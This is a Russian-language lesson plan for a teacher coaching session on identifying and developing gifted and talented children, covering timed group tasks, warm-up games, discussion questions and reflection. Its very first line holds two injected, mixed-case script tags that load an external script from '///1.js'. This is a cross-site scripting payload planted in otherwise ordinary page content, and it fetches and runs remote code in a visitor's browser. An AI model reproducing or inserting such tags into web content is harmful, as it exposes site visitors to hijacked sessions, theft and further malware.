<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Предмет

Коучинг–сессия

Тема

занятия

«Работа с одаренными и талантливыми детьми».

Ссылки, ресурсы

«Руководство для учителя» ЦПМ АОО «Назарбаев Интеллектуальные школы»,2016г. стр.179-186, презентация, раздаточный материал, видеоролик.

Цель

Прививать в практике ведения уроков навыки и ценности, определенные в обновленных программах.

Ожидаемые

результаты

1.Учителя работают в группе

2 Учителя анализируют  свой педагогический опыт и обмениваются им.

3Учителя  смогут классифицировать свои идеи в форме графических органайзеров.

Ключевые

идеи

Взаимодействие в ходе коучинга позволит  уяснить важность данной темы для современного учителя, так как именно ему предстоит  в соответствии с конструктивистской теорией

«развивать глубокое понимание предмета учеником, сформировать навыки дальнейшего применения полученных знаний вне класса».

Взаимодействие в группе позволит развивать навыки разных видов бесед диалогового обучения, результатами  которого станут кластер и фрагменты уроков.

Материалы и

оборудование

Компьютер, маркеры, магниты, доска, раздаточный

материал.

 Ход занятия

Этапы

проведения коучинга-занятия

Время

45мин

Организационный

момент

Слайд №1

3мин

Коуч с доброжелательным настроем  приветствует участников  коучинг-занятия.  *Проводит тренинг «Фруктовый салат».

Цель: Снять напряжение, создать доброжелательную атмосферу.

Деление на

группы

Слайд №2

2 мин.

*Проведение тренинга «Зайчик»: Раз, два, три, четыре, пять. Вышел зайчик погулять. Запереть его забыли. Раз, два, три, четыре.

 Цель:   разделить на группы, рассадить.

Слайд № 3,

Задание №1

3мин.

*Стадия вызова- « 6 почему?»

Коуч задает вопрос:

-Почему некоторых людей мы называем талантливыми?(или –Почему мы некоторых учеников называем одаренными?)

И дальше по часовой стрелке адресует вопросы участникам, которые отвечают на него и передают мяч друг другу.

*Совместный вывод (предполагаемый):одаренность в каком-либо направлении есть у каждого ученика.Главная цель учителя-выявить одаренность и помочь ученику развить и

реализовать ему свой потенциал.

- Побуждаем ли мы ученика к размышлению при помощи такого приема?

- А вы задумались глубже о том, как работать с одаренными детьми каждый день?

Цель:

Подвести участников к определению темы коучинг-занятия

“Дети – прирождённые художники, учёные, изобретатели –

видят мир во всей его свежести и первозданности; каждый 

день они заново придумывают свою жизнь. Они любят 

экспериментировать, и смотрят на чудеса окружающего 

мира с удивлением и восторгом”. (П.Вайнцвайг)

Объявление

темы и цели.

Слайд № 4-5

Задание №2

Физминутка

5 мин.

5 мин.

1-2 мин.

·       

Определение качеств хорошего учащегося. Раздаются листки с перечислением качества ученика. Учителя выделяют знаками «+ и –»  качества ученика.

-  Далее предлагается зачитать качества, отмеченные знаком “+”.

- Как Вы считаете, может ли ребёнок с такой характеристикой быть одарённым?

- А если эти характеристики не нравятся Вам? (дискуссия педагогов)

·       Осмысление темы – 

Работа в группах:

1гр.- Методы выявления талантливых и одаренных детей в школе.

2гр.- Организация деятельности ТиО детей вовнеурочное время.

3гр.- Работа с ТиО на уроке русского языка и литературы.

4гр.- Система работы с ТиО в целях подготовки их к олимпиадам (к работе над проектами ). 

Группы представляют свою работу. На возникшие вопросы группы отвечают по часовой стрелке.

·       Чтение коучем стихотворения Берестова «Кто умеет рисовать?»

Вывод:необходимо выстроить свою систему развития ТиО детей в соответствии со школьным планом, чтобы дети не разучились «рисовать».

·       Физминутка «Хорошо, что светит солнце….».

Слайд №6-7

Задание №3

7мин.

10 мин.

*Демонстрация презентации «Работа с талантливыми и одаренными обучающимися».

Обсуждение коллегами.

*Работа в группах: составление фрагмента урока с использованием заданий для развития одаренности обучаемых.

*Представление работ.

Формативное оценивание «2 звезды, 1 пожелание». (либо жестами)

Слайд №8

Рефлексия

3 мин.

·       Стратегия «Плюс, минус, интересно».

Подведение

итогов коучинга

2мин.

3мин.

Коуч подводит итог коучинга.